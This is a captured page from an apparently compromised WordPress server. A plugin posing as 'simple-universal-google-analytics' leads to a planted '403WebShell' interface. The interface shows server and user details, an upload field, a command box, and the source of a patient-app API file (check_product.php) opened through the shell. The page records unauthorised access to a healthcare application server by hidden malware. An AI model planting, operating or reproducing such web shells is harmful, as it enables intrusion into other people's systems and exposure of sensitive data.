Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/api/.api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/api/.api/check_product.php
<?php

	$abbr = isset($_GET['pc']) ? trim($_GET['pc']) : '';
	$abbr = str_replace(['\\', '/', '<', '>', '&', ';', '..'], '', strtolower($abbr));
	if ($abbr == 'default') $abbr = 'pai-lcl';

	$source = SERVER != '' && SERVER != 'PROD' ? 1 : 0;

    $target = $filename = DOWNLOAD_FOLDER . "/{$abbr}.json";		// _nnnnnn softlinks are no longer used - now each guide is personalized
	
	if (SERVER == 'TUCANA' && !file_exists($filename)) {
		$folder = '/var/www/tucana_cms/storage/patientapps/audio';
		$target = $filename = $folder . "/_{$abbr}.json";
		if (!file_exists($filename)) {
			$filename = $folder . "/{$abbr}.json";
		}
	}
	if (strtoupper(SERVER) == 'VELA' && !file_exists($filename)) {
		$folder = '/var/www/vela_cms/storage/patientapps/audio';
		$target = $filename = $folder . "/_{$abbr}.json";
		if (!file_exists($filename)) {
			$filename = $folder . "/{$abbr}.json";
		}
	}
	
    if (!file_exists($filename)) {
        $abbr2 = ProductMapping($db, $abbr);
        if ($abbr2 != '') {
            $filename = DOWNLOAD_FOLDER . "/{$abbr2}.json";
            if (file_exists($filename)) {
                $dold = escapeshellarg($filename);
                $dnew = escapeshellarg($target);
                `ln -s $dold $dnew`;
            }
        }
    }
	
	if (0 && $_SERVER['REMOTE_ADDR'] == '173.48.93.56') {
		var_dump(SERVER);
		var_dump(DOWNLOAD_FOLDER);
		var_dump($filename);
	}

	if ($filename != '' && file_exists($filename)) {
		$fileinfo = getDocumentInfo($filename);
		$data = [
			'abbr'		=> $abbr,
			'name'		=> $fileinfo->short,			// short title
			'title' 	=> $fileinfo->title,			// long title
            'group'		=> 0,                           // not a group (list of procedures for a client)
			'nocache'	=> 1,							// do not include this in the master list
			'generic'	=> 0,							// always unlisted
			'version'	=> $fileinfo->version,
			'size'		=> $fileinfo->size,
			'location'	=> $source,
		];
		header('Content-type: application/json');
		echo json_encode(['info' => $data]);
        cp_tracking($db, $abbr); // utm tracking for this item?
		exit;
	}

    // do we have a listing page - redirect back to a browser - but only if the client supports it
    $version = isset($_GET['version']) ? trim($_GET['version']) : '1.0.0';
    if (version_compare($version, '1.9.36') >= 0) {
        $item = $db->lookup('select sl_full from shortlink where sl_short=%s', $abbr);
        if ($item['__existing']) {
            $elements = parse_url($item['sl_full']);
            if ($elements['scheme'] == 'group') {
                $url = 'https://myapp.care/' . $abbr . '?v=' . rawurlencode($version);
                if ($source) $url .= '&src=' . $source;
                $data = [
                    'abbr'		=> $abbr,
                    'group'		=> 1,               // this is a group entry
                    'location'  => $url,
                ];
                header('Content-type: application/json');
                echo json_encode(['info' => $data]);
                cp_tracking($db, $abbr); // utm tracking for this item?
                exit;
            }
        }
    }

//	http_response_code(404);		// guide not found - or not PUBLISHED!
	header('Content-type: application/json');
    header('x-message: product id not found - ' . $abbr);
	echo json_encode([]);
	exit;

function cp_tracking($db, $abbr) {
    $sql = 'select sl_tracking from shortlink where sl_short=%s';
	$item = $db->lookup($sql, $abbr);
    if ($item['__existing'] && !empty($item['sl_tracking'])) {
        // add tracking Event
        $utm = $item['sl_tracking'];
        $version = isset($_GET['version']) ? trim($_GET['version']) : '';
        $app = isset($_GET['app']) ? trim($_GET['app']) : '';
        setEvent($db, $utm, 'install', [
            'ver' => $version,
            'app' => $app,
        ]);
    }

}

// add a Tracking event to the database - eg onOpen, onClick, onProvision
function setEvent($db, $utm, $eventname = 'click', $payload = []) {
    $payload['ip'] = getClientIP();
    $payload['browser'] = $_SERVER['HTTP_USER_AGENT'] ?? '';

    $data = [
        '__table' => 'tracking_event',
        '__existing' => 0,
        'te_identifier' => $utm,
        'te_timestamp' => time(),
        'te_event' => $eventname,                   // click, provision, etc
        'te_payload' => json_encode($payload),      // there is a length limit here!
    ];
    $db->SaveRecord($data);
//    DbErr2($db);
}

Youez - 2016 - github.com/yon3zu
LinuXploit